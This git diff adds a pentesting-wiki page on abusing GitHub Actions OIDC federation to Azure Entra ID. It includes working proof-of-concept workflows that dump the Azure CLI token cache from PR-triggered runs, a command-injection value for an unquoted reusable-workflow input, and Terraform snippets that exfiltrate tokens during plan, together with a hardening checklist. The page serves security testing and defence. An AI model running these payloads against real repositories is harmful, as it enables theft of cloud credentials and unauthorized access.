diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 1cedf02053..5a1c27a07e 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -403,6 +403,7 @@ - [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md) - [Azure Pentesting](pentesting-cloud/azure-security/README.md) - [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md) + - [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md) - [Az - Tokens & Public Applications](pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md) - [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md) - [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md) diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index dd0f94cc4b..4473874ff2 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -477,7 +477,7 @@ jobs: - run: ls tmp/checkout ``` -### Accessing AWS and GCP via OIDC +### Accessing AWS, Azure and GCP via OIDC Check the following pages: @@ -485,6 +485,10 @@ Check the following pages: ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} +{{#ref}} +../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md +{{#endref}} + {{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md new file mode 100644 index 0000000000..8ad7ad3eaa --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md @@ -0,0 +1,253 @@ +# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity) + +{{#include ../../../banners/hacktricks-training.md}} + +## Overview + +GitHub Actions can federate to Azure Entra ID (formerly Azure AD) using OpenID Connect (OIDC). A GitHub workflow requests a short‑lived GitHub ID token (JWT) that encodes details about the run. Azure validates this token against a Federated Identity Credential (FIC) on an App Registration (service principal) and exchanges it for Azure access tokens (MSAL cache, bearer tokens for Azure APIs). + +Azure validates at least: +- iss: https://token.actions.githubusercontent.com +- aud: api://AzureADTokenExchange (when exchanging for Azure tokens) +- sub: must match the configured FIC Subject identifier + +> The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange. + +## GitHub ID token quick PoC + +```yaml +name: Print OIDC identity token +on: { workflow_dispatch: {} } +permissions: + id-token: write +jobs: + view-token: + runs-on: ubuntu-latest + steps: + - name: get-token + run: | + OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL") + # Base64 avoid GitHub masking + echo "$OIDC_TOKEN" | base64 -w0 +``` + +To force Azure audience on token request: + +```bash +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ + "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange") +``` + +## Azure setup (Workload Identity Federation) + +1) Create App Registration (service principal) and grant least privilege (e.g., Storage Blob Data Contributor on a specific storage account). + +2) Add Federated identity credentials: +- Issuer: https://token.actions.githubusercontent.com +- Audience: api://AzureADTokenExchange +- Subject identifier: tightly scoped to the intended workflow/run context (see Scoping and risks below). + +3) Use azure/login to exchange the GitHub ID token and sign in the Azure CLI: + +```yaml +name: Deploy to Azure +on: + push: { branches: [main] } +permissions: + id-token: write + contents: read +jobs: + deploy: + runs-on: ubuntu-latest + steps: + - name: Az CLI login + uses: azure/login@v2 + with: + client-id: ${{ secrets.AZURE_CLIENT_ID }} + tenant-id: ${{ secrets.AZURE_TENANT_ID }} + subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} + - name: Upload file to Azure + run: | + az storage blob upload --data "test" -c hmm -n testblob \ + --account-name sofiatest --auth-mode login +``` + +Manual exchange example (Graph scope shown; ARM or other resources similarly): + +```http +POST //oauth2/v2.0/token HTTP/2 +Host: login.microsoftonline.com +Content-Type: application/x-www-form-urlencoded + +client_id=&grant_type=client_credentials& +client_assertion=&client_info=1& +client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer& +scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default +``` + +## GitHub OIDC subject (sub) anatomy and customization + +Default sub format: repo:/: + +Context values include: +- environment: +- pull_request (PR triggers when not in an environment) +- ref:refs/(heads|tags)/ + +Useful claims often present in the payload: +- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor + +Customize sub composition via the GitHub API to include additional claims and reduce collision risk: + +```bash +gh api orgs//actions/oidc/customization/sub +gh api repos///actions/oidc/customization/sub +# Example to include owner and visibility +gh api \ + --method PUT \ + repos///actions/oidc/customization/sub \ + -f use_default=false \ + -f include_claim_keys='["repository_owner","repository_visibility"]' +``` + +Note: Colons in environment names are URL‑encoded (%3A), removing older delimiter‑injection tricks against sub parsing. However, using non‑unique subjects (e.g., only environment:) is still unsafe. + +## Scoping and risks of FIC subject types + +- Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/ + - Risk: If the branch/tag is unprotected, any contributor can push and obtain tokens. +- Environment: sub=repo:/:environment: + - Risk: Unprotected environments (no reviewers) allow contributors to mint tokens. +- Pull request: sub=repo:/:pull_request + - Highest risk: Any collaborator can open a PR and satisfy the FIC. + +PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login): + +```yaml +name: Steal tokens +on: pull_request +permissions: + id-token: write + contents: read +jobs: + extract-creds: + runs-on: ubuntu-latest + steps: + - name: azure login + uses: azure/login@v2 + with: + client-id: ${{ secrets.AZURE_CLIENT_ID }} + tenant-id: ${{ secrets.AZURE_TENANT_ID }} + subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} + - name: Extract access token + run: | + # Azure CLI caches tokens here on Linux runners + cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0 +# Decode twice locally to recover the bearer token +``` + +Related file locations and notes: +- Linux/macOS: ~/.azure/msal_token_cache.json holds MSAL tokens for az CLI sessions +- Windows: msal_token_cache.bin under user profile; DPAPI‑protected + +## Reusable workflows and job_workflow_ref scoping + +Calling a reusable workflow adds job_workflow_ref to the GitHub ID token, e.g.: + +``` +ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main +``` + +FIC example to bind both caller repo and the reusable workflow: + +``` +sub=repo:/:job_workflow_ref://.github/workflows/@ +``` + +Configure claims in the caller repo so both repo and job_workflow_ref are present in sub: + +```http +PUT /repos///actions/oidc/customization/sub HTTP/2 +Host: api.github.com +Authorization: token + +{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]} +``` + +Warning: If you bind only job_workflow_ref in the FIC, an attacker could create a different repo in the same org, run the same reusable workflow on the same ref, satisfy the FIC, and mint tokens. Always include the caller repo as well. + +## Code execution vectors that bypass job_workflow_ref protections + +Even with properly scoped job_workflow_ref, any caller‑controlled data that reaches shell without safe quoting can lead to code execution inside the protected workflow context. + +Example vulnerable reusable step (unquoted interpolation): + +```yaml +- name: Example Security Check + run: | + echo "Checking file contents" + if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then + echo "Malicious content detected!"; exit 1 + else + echo "File contents are safe." + fi +``` + +Malicious caller input to execute commands and exfiltrate the Azure token cache: + +```yaml +with: + file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a' +``` + +## Terraform plan as an execution primitive in PRs + +Treat terraform plan as code execution. During plan, Terraform can: +- Read arbitrary files via functions like file() +- Execute commands via the external data source + +Example to exfiltrate Azure token cache during plan: + +```hcl +output "msal_token_cache" { + value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json"))) +} +``` + +Or use external to run arbitrary commands: + +```hcl +data "external" "exfil" { + program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"] +} +``` + +Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts. + +## Hardening checklist + +- Never use sub=...:pull_request for sensitive FICs +- Protect any branch/tag/environment referenced by FICs (branch protection, environment reviewers) +- Prefer FICs scoped to both repo and job_workflow_ref for reusable workflows +- Customize GitHub OIDC sub to include unique claims (e.g., repo, job_workflow_ref, repository_owner) +- Eliminate unquoted interpolation of caller inputs into run steps; encode/quote safely +- Treat terraform plan as code execution; restrict or isolate identities in PR contexts +- Enforce least privilege on App Registrations; separate identities for plan vs apply +- Pin actions and reusable workflows to commit SHAs (avoid branch/tag pins) + +## Manual testing tips + +- Request a GitHub ID token in‑workflow and print it base64 to avoid masking +- Decode JWT to inspect claims: iss, aud, sub, job_workflow_ref, repository, ref +- Manually exchange the ID token against login.microsoftonline.com to confirm FIC matching and scopes +- After azure/login, read ~/.azure/msal_token_cache.json to verify token material presence + +## References + +- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2) +- [azure/login action](https://github.com/Azure/login) +- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external) +- [gh CLI](https://cli.github.com/) +- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils) + +{{#include ../../../banners/hacktricks-training.md}} \ No newline at end of file